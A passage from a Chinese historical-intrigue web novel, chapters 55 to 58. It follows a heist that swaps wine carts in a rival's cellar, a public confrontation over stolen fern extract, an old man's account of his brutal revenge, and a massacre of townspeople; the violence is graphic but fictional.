姜凌嚣恨得牙痒,下令死鱼眼,“买下京城所有的剃刀,不够就去外城买。”
二月二,龙抬头,咬住饿狼,不死也要放放血!
55. 狸猫换太子
二月二,晨光大放,玄虎堂不营业,门口贴了一张红纸告示,上书:
【二月二龙抬头沐洗日斩晦除污
念父老乡亲姐妹兄弟安康感邻里帮扶之恩系祖师悬壶济世之教
本药店免费为老人孩子洗头理发敬请相互告知】
后院门口,码好了一坛又一坛的酒,一副等待被拉走的样子。
院中,整整齐齐摆着几十个炉子,上面架着大锅,和厨房里的灶台炉膛一齐烧得热烈,汩汩翻滚,蒸腾出白烟似的水雾,将前面的两个影子弥漫到模糊。
其中一个影子频频点头,然后冲出白雾,是拿着一大把请柬的孙大可,急急忙忙驾车出门了。
一阵风吹来,白雾稀淡,现出另一个高挑端方的面目,是姜凌嚣。
以往,所有的行动都是事到临头、不得不的反击,或者弥补漏洞,姜凌嚣潜在背后,极力隐藏自己。
现在,他不,他主动,要征服,要开疆扩土,要明目张胆,要大张旗鼓,要做一根毒刺,狠狠得直面扎进姬无心的眼睛里,让他时时看着自己,让他痛,让他中毒。
姜凌嚣扬起杀伐果断的脸庞,望向浩茫苍天,当空挂着个发白的太阳。
青天白日下,新赌场的包间里,毕马温喝了干兄弟递来的酒,白眼一翻,昏睡过去。
死鱼眼进门,点了下头,“无耳男”便知跃千里车行也已下药成功,乱套了,他锁好包间门,叮嘱赌场的马仔:“不许吵醒我大哥。”
跃千里车行,伙计们乱成一团,急得像热锅上的蚂蚁。
不知道谁先招了虱子,还是得了什么皮肤病,反正都睡大通铺,一觉起来,全传染了,人人脸上、脖子上满是大红包,奇痒难忍,都快抓烂了,还止不住得挠。
二掌柜指着伙计们抱怨:“姬家今天是喜事,你们一个个的这样,怎么跟掌柜的去送酒!”
伙计们冤枉。
“昨儿还好好的呢,今儿一觉起来就快烂了?!”
“都洗澡啊,也没碰过猫狗,肯定不是虱子!”
“还在这争论是不是虱子有个屁用,马上就出车了!没个干净人,谁去?”
不光伙计出了问题,毕马温也找不到了,不在家,也不在常待的小酒馆。
二掌柜直跺脚:“完了,完了,姬家那么难伺候,耽误了送酒,还不宰了咱们!”
“干爹干娘病了,大哥连夜回老家了,叫我替他去送酒。”
无耳男干兄弟踏进车行大门,天降及时雨。
东家亲自认证过的干兄弟,还让大家叫他“毕二爷”,柜上哪敢不听毕二爷的话,何况他绫罗绸缎,看起来十分有派,应该擅于周旋王侯贵胄。
车行的伙计皮肤病,见不了人,正好毕二爷不差人,喊来自己的几个车夫,“瞧,着装还统一,显得正规,去姬家能给我大哥长面子。”
车夫推起车行的三辆温酒车出门。
“等等!”城府极深的二掌柜拦住去路。
车夫们警惕停车,毕二爷眯眼:“嗯?”
二掌柜拉过一个没感染皮肤病的小学徒,“二爷,给您派一个机灵的孩子领路,伺候着,不枉您对我们车行的费心费力。”
虚惊一场,毕二爷欣然应允,指着身后戴着眼罩的独眼小厮:“正好给你当个伴儿。”
姬家在外请客,温酒车先去姬家拉酒,然后再去得胜酒楼。
从车行到姬家的路上,须经过三个路口,小学徒眼神机灵地四处观察,生怕有任何闪失,回头被柜上责怪。
经过第一个路口,刚走过第一条胡同,毕二爷忽然搂住小学徒,指着前方玩杂技的:“瞧,那么小的人儿,脚上蹬着那么大的缸。”
小学徒顺着手势望去的刹那,身后的其中一辆温酒车悄悄退进旁边的胡同口。
里面有穿着同款衣裳的人,掀开面前盖着的毛毡子,露出复刻车,迅速冲出去接替。
小学徒再回头,复刻车已毫无破绽跟了上来。
过了第二个路口,掉包把戏重新上演。
三辆温酒车全被掉包完毕,没多久就到了姬家门口,遭受一轮又一轮的搜身。
与此同时,车行的三辆温酒车被人推得飞起,穿过大街小巷,集中冲向玄虎堂后院门口。
“咚、咚、咚”,酒坛塞满温酒车车箱,“哗啦、哗啦”的开水浇灌。
飞速密封完车箱,三辆温酒车如赶来时那样,冲回刚才掉包的三个胡同口,盖上毛毡子,等待再一次掉包。
小学徒被毕二爷留在姬府大门外,三辆复刻车顺利进府,停在酒窖门口,门上落着锁。
看门老头腰间别着烟杆,斜眼看人,小指挖着耳朵,朝这边吹了一下,语□□仗人势:“毕马温呢?”
“回黄爷,老人病重,我大哥回了老家,叫我来替他。”
“嗯?你大哥?毕马温哪儿来的兄弟?没听说过。”
“干兄弟,拜过把子的。我大哥常念叨黄爷,这些年多亏了您照拂,赶明儿我大哥回来,兄弟俩一起请请您。”
老黄小指指着独眼,生硬:“三个推车的,一个带头的,多出来的这个残废算怎么的?姬府有规矩,闲杂人等不能进!”
独眼一句话不说,掏出一袋烟丝,给看门老头装了一锅烟。
毕二爷赔笑:“这是我叫来伺候您的小厮。进贡的烟丝,我也不配抽,听大哥说您老爱好抽两口,特意孝敬您的。”
烟丝油亮发黑,不似好烟丝的金黄,老黄嫌弃地皱眉。
但火一点,味飘出来,老黄不停耸鼻子,生怕浪费一缕味道,使劲吸了两口烟嘴,一脸的飘飘欲仙,醉生梦死。
地藏蕨胶泡过的烟丝,别说人,九头牛都得放倒。
毕二爷使劲拍拍老黄的肩膀,不似刚才的礼貌:“开门,别耽误了国师的大宴。”
老头忙着吞云吐雾,听话地交出钥匙,语调异常慵懒:“地下二楼,左拐第一排酒架,不能多拉,也不能偷喝,都有数的。”
酒窖门大开。
门内有条大道,温酒车“轰隆轰隆”往下冲,过了二楼并不停,继续往下,来到一楼,迅速找到小虎图纸上画的那排酒架,打开酒坛盖子,露出白色汁液。
地藏蕨的特殊气味冲鼻。地窖温度适宜,还未变质。
五人忙“砰、砰、砰”拔开盖子,地藏蕨汁“哗啦、哗啦”倒进车箱。
车箱内部经过改造,分为前后箱。
汁液很快装满后箱,毕二爷带着三车夫迅速推车来到二楼左拐的第一排酒架,将架上的酒坛扔进推车前箱,火速出了酒窖。
独眼留在酒窖,摘下眼罩,露出一对厌世的死鱼眼。
地藏蕨的酒架上,残存着滴漏,死鱼眼细细抹干净,从地上抓了把土,从掌心吹到抹痕处。
薄薄一层灰尘覆盖住动过的手脚,就像这个架子从未被光顾过。
处
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理完地下一层留痕,他拿着苕帚边退边扫,来到二楼左拐的第一排酒架旁。
一辆原版的温酒车可以装二十坛酒,三车应装走六十坛,但一辆复刻车前箱只能装走六坛酒,酒架上多出来的坛子需要处理,以便对上数。
从车厢内部改造,到每个形同吹毛求疵、大费周章的掩盖痕迹细节,都是姜凌嚣不眠不休、演练过无数次,才给下面的人执行的。
温酒车成功冲出酒窖,三个车夫都松了口气,一个胖伙夫跑来大喝:“磨蹭什么呢?水烧开了等你们半天!”
温酒车,温酒车,当然要冲开水来温酒。
姬府重兵把守,每多见一个人,多一次停留,都增加一次暴露的风险,车夫面露紧张不安。
毕二爷使个“见机行事”的眼色。
温酒车不得不方向调转,拐过酒窖门口,到了伙房。
门口井旁摆了十来只水桶,车夫们相互交换个眼神,当场布阵——围井停车。
“我给你们烧了十二桶,正好够,快去提,别耽误事儿!”胖伙夫说罢,坐在磨盘上监工。
地藏蕨汁占了复刻车一半还多的空间,压根盛不下十二桶热水,多出来的几桶热水,怎么当场凭空消失!
三车夫提了热水,往水箱注水十分缓慢。
“快点!这天气,水容易凉,闲的给你们烧二遍!”
胖伙夫一动就浑身肥肉乱颤,大喘气,他扒了勒身的棉袄,搭到其中一辆温酒车的把手上。
水箱已经满了,再倒必然溢出来,非暴露车子有鬼不可,但一时寻不到对策,只得硬着头皮再去提热水。
乔装成车夫的小炸药鬼鬼祟祟,趁伙夫扭过头去擦汗,一把顺走了棉袄,飞速踢到井里。
发出了轻微的动静。
伙夫扭头。
小炸药立刻举起桶倒水。
前面的车子挡着,从伙夫的角度望去,小炸药举着的水桶全部倒进了车箱,实则全漏进了井里。
因为塞了棉袄,井里并没发出巨大的落水声。另一个车夫又嚷嚷烫了手,吸引走了胖伙夫盯着小炸药的目光。
胖伙夫不耐烦:“一群笨手笨脚的青瓜蛋子,以前你们车行老伙计也没这么多熊事儿!”
忽然,前院传来管家的叫骂声:“老黄,拉完了酒,怎么还不锁门?丢了东西,你全家的命赔得起吗?”
死鱼眼没来得及出去酒窖,门就被锁上。
“汪汪汪”,一墙之隔的院子里突然一阵狂吠,紧接着传来“叮铃咣当”的偷窃声。
胖伙夫踮脚望向墙那边,热水趁机全部倒进井里,温酒车飞速封箱。
“我就知道家里一忙,就有蟊贼趁机裹乱!”
管家急匆匆从酒窖处拐过来,提着剑,朝胖伙夫招手,“傻愣着干什么,抄家伙拿贼!”
胖伙夫抄起菜刀,追随管家而去。
小炸药三人推起车狂奔,顺利出了姬府。
伙房北面通着一大片果园,绕过去往西就是玄龙堂的炼丹房,跟姬府一墙之隔。
姬有德死后,此院成了伙夫养鸡的地方,顺带养着那些恶狗。
管家带人来拿贼的脚步声近了,耿正不慌不忙地拉过炼丹房和果园之间的竹门,拿铁丝一圈一圈拧紧。
等找来钳子,拧断铁丝,复刻车已与原车在路口再次掉包完成,耿正护送地藏蕨汁回了玄虎堂,和姜凌嚣汇合,准备迎接姬无心的反扑。
56. 剃刀党
毕二爷回到姬府大门,对看门兵点头哈腰:“麻烦您帮我叫一声看酒窖的黄爷,刚才落了点东西。”
老黄出来大门,毕二爷拉他到一边,先掏一锭银子出来,晃的老头眼神发直。
“黄爷,刚才拉酒的时候,我把我娘的玉佩掉酒窖里了。东西不贵,但是她老人家留给我的唯一一件遗物。劳烦您开门进去找找,这是孝敬您的跑腿。”
老黄拿了银子,赶紧跑回酒窖开门,打着灯笼四处好找。
躲在门后的死鱼眼趁机溜出门,跑到后院果园尽头,翻墙而出。
老黄仔细转完三层酒窖,一无所获,出来大门找毕二爷禀告,人早不见了。
装满酒坛的温酒车,一刻也没耽误,成功送到了姬府请客的得胜楼。
门口的整条街上,积了厚厚一层鞭炮屑,东西各延伸出二里地,犹如红海横流,豪华马车云集。
楼里,各个房间都坐满了人,绫罗绸缎,红光满面,欢迎姬有才荣归故里。
姬无心打个响指,侍女们捧着温好的酒坛施施然进门,酒倒在每个人的杯子里,适口的温和。
来客纷纷感慨:“姬国师日理万机还待客周到,体贴备至,来了就有上等热酒暖身。”
姬无心举杯:“今日邀请的诸位,都是姬家的挚友。”
满堂奉承:“那是,那是。”
姬无心:“如果有德还在世,现在会是驸马,和功绩赫赫的哥哥一样风光。但驸马的头衔,被凶手抢了。”
整个酒楼鸦雀无声。
“有德含冤而去,大仇至今未报,虽姬家家训血债血偿,但是名门望族,也得讲究证据,方以德服人。还请诸位联盟多多留意凶手罪证,有朝一日,助有德昭雪慰灵,捍卫世风公道。”
以维护公道的美名,赤裸裸的集结京中各方势力,好以多欺少,来日栽赃陷害,绞杀势单力薄的姜凌嚣。
但姜凌嚣现在是准驸马,太后唯一的女儿的夫婿,朱帝的准姐夫,众人迟疑。
沈戚风见状,举起酒杯,带头高喊:“我是有德的挚友,有德生前为人和善,不该死不瞑目!复公道,慰冤魂!”
一呼百应:“复公道,慰冤魂!”
姬有才搂住沈戚风,脸上笑纹像盛放的菊花,“哟,你不是姜凌嚣的亲二哥吗?”
沈戚风拍着胸脯,义正言辞:“公道自在人心,大义灭亲是种可贵的品质。何况有德是我最好的朋友,我为他两肋插刀。”
“玄龙堂是你、有德和陈老二的买卖,合伙人死了俩,听说你把能卖的都卖了,连个板凳也没留下。
我还听闻,你说要不是有德已经下葬了,你就把他死尸熬出油当猪油卖了。”
沈戚风脸红脖子粗:“胡说八道!姬大哥,你告诉我哪个王八孙子说的,我尿他嘴里!”
姬有才将笑脸贴在沈戚风脸上,和风细雨:“风,你真像个万花楼的表子,谁捅咕你两下,你就对着谁浪·叫忠心。啊,我这么说,你不会说我骂你吧?”
沈戚风碰了下姬有才的杯子,哈腰敬酒:“怎么会!我只会说大哥你有才!”
两人口蜜腹剑的谈笑风生,约着吃饱喝足后一起去万花楼快活。
同盟们集体敬姬无心,姬无心端起杯子,酒刚沾到唇边,他狼眼一凛。
随从发现端倪,上前:“国师,有何不对?”
“拿的哪个酒架上的酒?”
随从十分肯定:“二楼,左拐第一排酒架上的。”
姬无心把酒杯塞给随从,随从抿了一口,吃惊:“不是姬家的酒!”
烈马奔腾到姬府酒窖门口,姬无心跳下马,抓过管家手里的灯笼,推开酒窖门。
地面上没有车辙印,只有一排出来时留下的脚印,且出自同一个人。
姬无心狼眼环顾,瞥到老黄鞋帮上的黄土,指着鞋印,命令老黄:“踏上去。”
老黄鞋底和脚印吻合。
脚印旁边是笤帚扫过的痕迹,如果是老黄扫的,应该是他边扫边往外退,形成进门的脚印。
只能是在老黄进门后,有人出门,进行了清扫,掩盖些什么。
姬无心:“酒窖里为什么会有你出来的脚印?”
老黄慌忙答:“车行领头的丢了东西,我回来帮他找,您放心,我可没让他进来!”
姬无心微笑:“东西找到了吗?”
“没有。”
姬无心一脚踹翻老黄,“让你开门的目的,是为了放出锁在酒窖里的人,蠢货!”
姬无心踏入酒窖,停在地下二楼第一排酒架前。
酒坛消失了六十个。
而三辆温酒车中,满满当当六十坛酒,一坛姬家的酒也没有。
也就是,二楼第一排酒架上的酒,很可能还在酒窖里,压根没出去。
姬无心提着灯笼,顺着扫帚苗的痕迹,一直找到地下一层。
地下一层全被扫过,压根看不出贼人在哪个酒架前停留过。
姬无心只好耐住性子,一个个酒架排查。
路过一个隐蔽的酒架,姬无心驻足。
上面摆着应该出现在二楼左拐第一排酒架上的酒坛,共有四十二坛。
温酒车只拉走了十八坛。
冒险进入机关重重的姬府,又如此大费周章,如果为偷酒,应该能多拉就多拉,没有少拉的道理。
除非,为了腾出空间,拉别的。
姬有才在康凌郡当值,也就只有姬有德能够自由出入酒窖。
姬无心喊过老黄:“有德曾往酒窖放过什么?”
老黄鼻青脸肿思索半天:
“年前,他存放过拜基和亲队的贡酒,但好像经过一番倒腾。他不让我进来,我也不知道具体发生了什么。
不过,您可以问玄龙堂的炼丹师,他和姬有德大人拉走了一批酒坛子。”
炼丹师早被姜凌嚣的手下灭了口。
原来是那个诡计多端的不死贱种!
姬无心怒极,踢了一脚面前的酒架。
“叮叮当当”,酒架上的坛子相互碰撞,掉落一个,“砰”的摔在地上,竟是空的!
姬无心抓起一个个酒坛,全部都是空的,打开盖子,一股怪异的味道直冲鼻子,令人上头。
曾经在朝堂之上,沈丘染拿着跟这味道一样的东西,跟朱帝告状姬有德私炼地藏蕨胶。
原来,姜凌嚣和姬有德结仇,炼丹是表,地藏蕨才是根本。
“哪个混账把我棉袄投井里去了?”伙夫的高声从后院厨房出来。
姬无心听闻,来到后院,一眼便锁定了井边车辙痕迹。
车辙波纹前重后轻。
每辆温酒车出门前,都会遭受哨兵检查,酒坛一定会放置在前,那么,不可见人的
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地藏蕨放置在后。
也就是,温酒车被改造过!应该分为了前后箱。
拉了不该拉的东西,热水便没了盛放空间,只能倒进井里。
怕水落深井的声音不对,所以塞了棉袄。
号称军营化管理的姬府,让一个不入流的野路子姜凌嚣偷了,竟无一人发现,姬无心怒极,一剑封喉伙夫。
伙夫的脑袋滚到了井边,他的手还在惯性地去擦脑袋上的汗,悬在半空挥着,诡异恐怖,吓的在场所有人面如土色。
姬无心:“集合!兵分两路,查杀贼人!”
跃千里车行,姬家兵野蛮打砸,伙计们也被打了,一地狼藉,满屋哀嚎。
姬家兵大喝:“说,是不是姜凌嚣让你这么干的?”
毕马温趴在地上,满脸是伤:“姜什么?你就是打死我,我也不认识他!怎么会和他合谋进姬府偷东西?”
姬家兵扬长而去,毕马温一瘸一拐撵出去:“官爷,这是个阴谋!我知道凶手是谁了!”
姬家兵:“是谁?”
“我干兄弟,是他!他先是故意接近我,骗我拜了把子,赢得了我的信任,对,只有他见过温酒车什么样子,我还把打造车子的工艺跟他讲了!
今天,临送酒前,他用药迷晕了我,骗过了我的伙计,顶替了我去拉酒!”
姬家兵来了兴致,围住毕马温:“仔细说说,骗你拜把子的人什么特征?”
街对面,有个竖着一对招风耳的男人背对着这边,倒掉鞋里黄豆,扒了绫罗绸缎扔给乞丐。
“那人没有耳朵,跛脚,比较壮······”
毕马温喋喋不休时,被一个耳朵破皮、穿着朴素的魁梧男人撞了一下,那人低头致歉,矫健转身,消失在海海人潮。
“快快快!”耿正站在玄虎堂后院指挥,三辆复刻温酒车冲进来,直奔厨房。
门口用木板垫起斜坡,门槛内竖着一只大木桶。
温酒车顺着斜坡推上去,拧开前箱的阀盖,“哗——”白色的地藏蕨汁流入大木桶内。
充满大木桶,封死盖子,滚进提前挖好的坑洞里,搭上木板,夯实土,掩盖住痕迹。
至此,“狸猫换太子”圆满结束,真刀真枪的对战才刚刚开始。
耿正有条不紊指挥着各人。
招风耳举着扫把清理后巷温酒车辙,小炸药等人劈了温酒车为柴,投进火炉。
隔着院墙,传来熙熙攘攘的谈笑声,百姓包围了玄虎堂,前街、后巷都占满了,乌泱乌泱的排着队等剃头。
姜凌嚣下令:“发刀。”
死鱼眼带着全城的剃头匠,挑着近百个扁担,给百姓们分发剃刀,人手一把。
之所以用免费剃头引诱百姓前来,一是要收买、利用民心,先树立起驸马乐善好施的形象,只要姬无心出现,便是明晃晃的恶人立场。
成千上万的持刀百姓,必将愤慨,与恶者形成一场公开的对立。
姬无心当场毁掉的民心,重新叠码,最终将驸马推上口碑的高峰。
这是为姬无心精心谋划的一场自投罗网。
前院放了鞭炮,孙大可请的商会同仁都来了。
这场为同仁出气,同时收割民心的好戏,即将公开上演。
始作俑者姜凌嚣拧了下脖子,拽正衣襟,开门守株待姬,迎接自己即将俘获的盛大民心。
57. 指鹿为马
后巷里,乌泱乌泱的百姓,嚷嚷的热烈。
“从去年冬到今年春,柴贵得离谱,别说剃头了,就是烧热水洗头,都是浪费钱呐!”
“何止!今儿满大街找不到剃头匠!可谁不想图个吉利,龙抬头这天剃剃头,刮刮脸呢?”
“您回头瞅瞅,今儿来了多少人?不说上万,也得近万。姜少东家这一行善,银子花海了去了!咱呐,可得念人家好!”
正说着,后院门开,水雾蒸腾如仙境,姜凌嚣身着白衣从白雾中出来,不顶青丝,骨骼清奇,超凡脱俗,惊的百姓欢呼。
小孩嘻嘻叫:“龙王出海!”
“指鹿为马!龙王是像我这样德高望重的人,年轻三太子不过是被哪吒扒皮抽筋的败寇!”
“嘶”的一声马叫,姬无心策马跃过人群,马蹄直朝姜凌嚣头上踏来。
耿正劈手扯住两只马前蹄,姬无心挥起鞭子,“啪啪”抽在耿正后背。
空中扬起带血棉絮,耿正太阳穴的青筋拧成一团,依旧不撒手。
“别欺人太甚!”小炸药看不下去,抄起个马扎就要去砸马,被耿正喝止:“起开!”
小炸药跳着脚喊姬无心:“耿大爷年纪这么大了,这样虐待他?您要抽抽我得了!”
“耿大爷?”姬无心仰天大笑,“改姓了?”
姜凌嚣眼中闪过意外,看向耿正。
耿正吃力地控制着烈马,三角眼白狠狠瞪着姬无心。
姬无心蔑笑:
“二十年前,我姬家陵园有个看墓人,功夫出类拔萃,保守的说一个顶二十个杀手。
他守墓的年月里,姬家陵园从未发生过盗窃。换了看墓人后,年年发生盗墓。”
“咚——”
耿正撒手,烈马被甩得转了个圈,姬无心死死拽住缰绳,才将失衡的马控住,前蹄重重落在地上,掀起漫天尘土。
“故事听够了,该办正事了。我府上丢了贵重物品,恰好在案发现场找到你们的人的玉佩,得来搜一搜。”
姬无心手一扬,玉佩落在姜凌嚣脚下。
“毕二爷”他娘唯一的遗物,没有可以有。
姜凌嚣抬头,“国师,贵府丢了什么,可否告知在下?”
“名酒。”
“多少?”
姬无心:“四十二坛。”
正好是地藏蕨汁丢失的数量。
姜凌嚣展开双臂,比量着体积:“那不少了,起码要占这么大空间······”
“少废话。”姬无心不耐烦打断。
姜凌嚣回敬:“要是您丢失的东西,在我这里找不到呢?”
姬无心:“看来,你是嫌我没找。”
话音刚落,“轰隆轰隆”进来一队举刀的兵,占领屋里屋外,野蛮得四处乱翻。
本来收到请柬,前来贺喜玄虎堂重新开业的商会同仁正喜气洋洋,陡然身陷刀光剑影,又都吃过姬无心的哑巴亏,个个吓破了胆,为姜凌嚣捏一把汗:“姜少东家,这……”
姜凌嚣安抚:“诸位请信我,我没有拿过姬府一针一线,且看国师还我清白。”
一阵“乒乒乓乓”搜查,不时有兵前来汇报结果。
“大堂没有!”
“账房没有!”
“茅坑里······”有几个兵扔掉沾满污秽的棍子,忍住呕吐,“也没有。”
姜凌嚣嘴角微微牵起,姬无心余光毒辣,尽收眼底。
最后一队兵从厨房出来,姜凌嚣目光紧凝,唇线绷直。
“厨房也没有!”
姜凌嚣提高的胸膛这才沉下去,挤出个笑容,准备宣布自己清白,姬无心却一声令下:
“重新搜查厨房!每一件器具,每一寸土下,如有空洞的声音,就给我挖!”
姜凌嚣的微笑戛然而止。
“噔、噔、噔”,棍子不停戳着厨房地面,一下、一下怼得扎实,像敲在玄虎堂每个人的头骨上,漫长而煎熬。
姜凌嚣的右手突然不听使唤,手指微微颤抖,姬无心露出志在必得的笑容。
“嗵、嗵、嗵”,被戳的地面发出空鼓回音。
姬家兵狂喊:“在厨房!水缸下面!”
姬无心:“挖!”
厨房立刻传来“叮铃咣啷”的刨地声。
后院门被冲开,满院子挤满了看热闹的百姓,表情震惊,交头接耳,议论纷纷,分成两派。
一派犹疑“这么大产业,为啥还偷别人府上东西”;
一派坚决“姜少东家乐善好施,绝做不出这样的事”。
商会同仁齐齐看向姜凌嚣,眼神复杂,欲言又止。
姜凌嚣强颜欢笑:“让诸位受惊了,事毕,我一定为诸位斟酒谢罪。”
很快,姬家兵抬出两口棺材。四十二个坛子的地藏蕨汁,足以装得下。
姬无心高声:“姜氏在康凌郡时,发生过一起坑埋兵器案,嫌疑人到死未来及交代出同谋。
今日,姬府酒窖被盗,姜氏又如出一辙的在地下埋了东西。”
姜凌嚣急忙上前,拦住揭棺,朝姬无心作揖,十分诚恳:“国师,一场误会,别闹得人尽皆知,丢了您的脸面。”
姬无心轻蔑:“棺材揭开,就能知道你到底是真的大善人,还是披着羊皮得狼。”
姬家兵一把推开姜凌嚣,拿着铁棍子撬棺材板,无数只眼睛紧盯着。
“砰——”,一个棺材盖打开。
空的。
围观百姓骚动:“嘛也没有。”
姬无心皱眉。
“砰”,另一个棺材盖揭开。
又是空的。
姬无心脸色变得很难看。
要的就是姬无心当众丢人现眼,为同仁痛快的出口恶气!
姜凌嚣压制得住嘴角,眉眼里的得逞压制不住:
“国师,都说京城凶险诡谲,尔虞我诈,一不留神就丢了性命,或者失去清白。
在下从康凌郡跋涉而来,无依无靠,所以这两口棺材,是我进京时为自己准备的。”
姬无心冷哼:“巧舌如簧,你死了,躺两口棺材?”
“在下曾经还有段姓沈的过去,想埋个衣冠冢陪葬。个中曲折,想必国师有所耳闻,在下不用赘述扰您耳根清静了吧。”
商会同仁们彻底松了口气,围观百姓们更是笑起来:
“姜少东家,闹这一出,不会是滑稽戏吧?”
“是不是看我们剃头怪无聊的,请来的戏班子?”
“这老头演得最像仗势欺人的狗官,喂,你哪个戏班子的?”
姬无心副手高坐马背,气焰嚣张:“放肆!这是我大裕国堂堂姬国师!赶紧跪下!”
姬家兵持刀举弓,对准百姓。
本持观望态度的百姓,彻底统一了口径,跟姬家兵硬杠起来:
“怎么着,棺材里啥也没有,想冤枉好人还要欺压百姓?你们遵的是哪门子法?”
姜凌嚣楚楚可怜上前,点了把火:“姬家与我有个人恩怨,有什么报复,冲我一个人来好了,放过无辜百姓!”
百姓彻底愤怒,民怨沸腾:
“不可以!绝不能公然诬赖好人!”
“这是一场明目张胆的报复!我们绝不答应!”
副手挥鞭抽向人群,百姓纷纷扬起剃刀。
烈阳下,成千上万道冷光闪耀,晃的副手眼睛一痛,他抬手遮眼的瞬间,有个背影从其马下闪过,抬手一挥。
一把带血剃刀落在地上时,背影飞速淹没在人群里,化为乌有。
副手的马疯了一样挣扎,脖子狂喷热血,他摔下马,大怒拔刀:“我乃国师第一随从,刁民敢杀我马,形同欺灭国师!”
百姓集体退避三舍,留下个小男孩站在死马旁,手里拿着那把带血凶刀。
副手朝小男孩踱步过来,面目狰狞:“你敢杀我的马?”
孩子母亲冲过来搂紧孩子,“不是他!他只是随手捡起来的!”
副手夺走小男孩,递给姬无心:“国师,这是当众杀您威风的凶手!”
“凶手不是我的孩子!他才不到五岁!求求你们放了他!”孩子母亲被姬家兵踹在地上,哭得撕心裂肺。
耿正震怒,走向姬无心,强硬:“还给那个母亲的孩子。”
姬无心抱着小男孩,刺激耿正:
“你这脾气,和我之前提到的那个守墓人一样。先是克死了女儿,又克死了妻子,一家三口死得只剩老鳏夫一个,所以活得不耐烦了。”
没想到耿正身世如此悲惨,姜凌嚣投去同情的目光。
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姬无心继续揭别人伤疤,问姜凌嚣:“听说过嗷月谷吗?”
嗷月谷,一个提到就令世人浑身起鸡皮疙瘩的荒村,被衰草淹没,无一活人,连孩子都没放过,是被屠村的下场。
姜凌嚣一脸震惊。
绝不伤害弱小,是耿正的原则与底线,怎么可能连孩子都不放过?
耿正白眼珠都被泪水杀红了,强硬到像是最后一次警告:“你,还这个母亲孩子!”
“还她孩子!还她孩子!”
百姓持刀挥臂,一声高过一声,整齐统一,山响震天,声势浩大。
坐在高马上,视野里成千上万的面目是模糊的,但一把把刀具,是真真切切的。
小小刀具,单独拎出来,不过是刮脸剃头的不成器,但汇集成刀林,混入统一的呐喊,是劈头盖脸的洪流,是呼啸而来的泥石流,是赤裸裸的威胁!
姬无心咬了下后槽牙,深深闻了下小男孩,将他递给耿正。
耿正将小男孩抱给年轻的母亲,姬无心指着她,又指向耿正,微笑挑拨:“可要看好了孩子,有的老头连村子里的孩子都不放过。”
再一次拿孩子刺激耿正,他实在无法原地忍受,转身出了后院。
已经赢了,姜凌嚣自负地丢下败寇,跟出门。
风吹干了眼泪,又湿了,再吹干,直到吹不尽。
耿正蹒跚到一个树林的湖边,嘶吼从胸腔里炸出来:
“我女儿本是大峪国建朝以来的第一个女捕快,执行公务路上,被一帮人贩子偷袭,把她卖到了那个该死的村!”
隔着湖的岸这边,姜凌嚣身躯一震,站定。
树林中,回荡着耿正的痛不欲生:
“我女儿天生顽强不屈,几次逃跑,最后一次跑出了十里地,几乎快成功了,却被一个小男孩告密······
那些畜生将她抓了回去,生生打断了双腿!
她是追凶的捕快!全国唯一的女捕快!没了腿!”
“他们把她绑在村中央的树上,扒光衣服,用棍子打,每一根骨头都打断了。
那些小孩学着大人,拿带刺的荆条抽她!浑身抽烂了!”
“我和妻子找到只剩最后一口气的女儿时,我要当场杀了凶手,但被我妻子拦住了,她竟然跟那帮刁民请求,允许我们运走女儿全尸就好。
我以为她疯了,她却异常平静地跟我讲,不能让凶手痛快的一死了之,太便宜了他们!”
“凶手夺走了我的女儿,仇恨夺走了我妻子的健康。一个村子的邪恶,毁了我们一家三口!”
耿正痛哭流涕,把憋了二十年的老泪流尽了。
“于是,我用了十年,抓回了逃跑的村民,每一个。”
“我先熬出他们一部分的人油,然后浇在他们皮肤身上,让他们活着看自己一寸寸燃烧。
火焰,让他们想要挣脱铁链,但断掉的双腿留下了他们,永跪原地。
每个人跪着的方向,是我女儿被捆绑被殴打被凌辱的方向!”
围着村有一百四十四根石柱,每根石柱上都用铁链拴着一具跪地的骷髅,无一例外朝着同一个方向,大张着齿骨。
有人曾半夜误闯此村,恰逢明月高悬,看清了惊悚诡异,当场吓死。
传言骷髅是在对月嗷叫,诉说罪行。
自此,该村失去了原来的名字,被称为嗷月谷,成为鬼故事里的传说。
耿正仰头,朝苍天呐喊:“我女儿是大峪国建朝以来、唯一的女捕快耿一!我妻子是曾扮男装中过秀才而获罪的耿止!”
他声音颓败下来:“我······我不过是盗用妻女姓名,苟活于世的无名氏。”
声音隔湖回环,震荡着空气,深远,杳冥,姜凌嚣震撼在原地。
耿正使劲抹干布满皱纹的眼角,转身,望着同样陷在复仇深渊的姜凌嚣:
“作为过来人,我可以告诉你复仇成功是什么感觉。
没有任何一丝的高兴和宽慰。
因为凶手的死亡,没能复活我的至亲。”
同为复仇者,隔岸相对,姜凌嚣看着耿正,仿佛在看不久将来的自己。
沉浸在复仇阴霾里的两人,尚不知,刚才成功俘获的民心,已被姬无心扭转乾坤,将姜凌嚣彻底拉入人人唾弃的泥潭。
58. 李代桃僵
武功高强的耿正和诡计多端的姜凌嚣走后,姬无心一个眼神令下,姬家兵向巷子外撤退。
百姓们举刀,发出胜利的欢呼声和奚落声,沉浸在集体成功对抗强权的喜悦中。
姬家兵分布到各条巷子后,弓箭手突然集体跃上墙沿、屋顶,举弓射杀百姓。
登时倒了一片,血流成河。
没中箭的百姓,没头苍蝇一样往巷子口冲,不幸踩踏,又倒下一片,官刀四处乱砍,血肉横飞。
不到半个时辰,围绕着玄虎堂的大街小巷,躺满了尸体,鲜血顺着排水阴沟流入玄虎堂,直涌到商会成员脚下,将各人雪白的鞋帮子浸得红到发黑。
商人讲究以和为贵,哪见过刀光剑影的惨状!
个个吓得魂飞魄散,不停往后退,踩出的血脚印正好全部落在眼前,更添惊吓。
本就出山勉强的秦会长,猛地打了个嗝,直撅撅往后倒去。众人忙于抢救会长,乱作一团。
属下前来汇报:“启禀国师,除却逃跑人数,经统计,我方死亡官兵十六人,百姓死亡三千九百五十四人。”
姬无心稳坐高头大马,当众篡改事实:
“肯安居乐业、无非分之想的,才叫百姓。持刀威胁官兵的,是暴民。
三千九百五十四个暴民,恶意聚众,祸乱暴动,被官方成功镇压,不幸牺牲十六人,请朝廷追为烈士。”
一旁的副手在奏折上奋笔疾书。
姬无心指向商会成员们,冷笑:“你们是同流合污的暴民,还是要立功的证人?”
个别东家宁死不屈,挡在同仁前面:“那是枉死的平民百姓!活生生的人!你仗着手握强权,胆敢······”
“嗖”,一支箭穿透其心口,正义之言戛然而止。
秦会长眼见同仁因正直而死,一口老血涌到嘴边,头一歪,断了气。
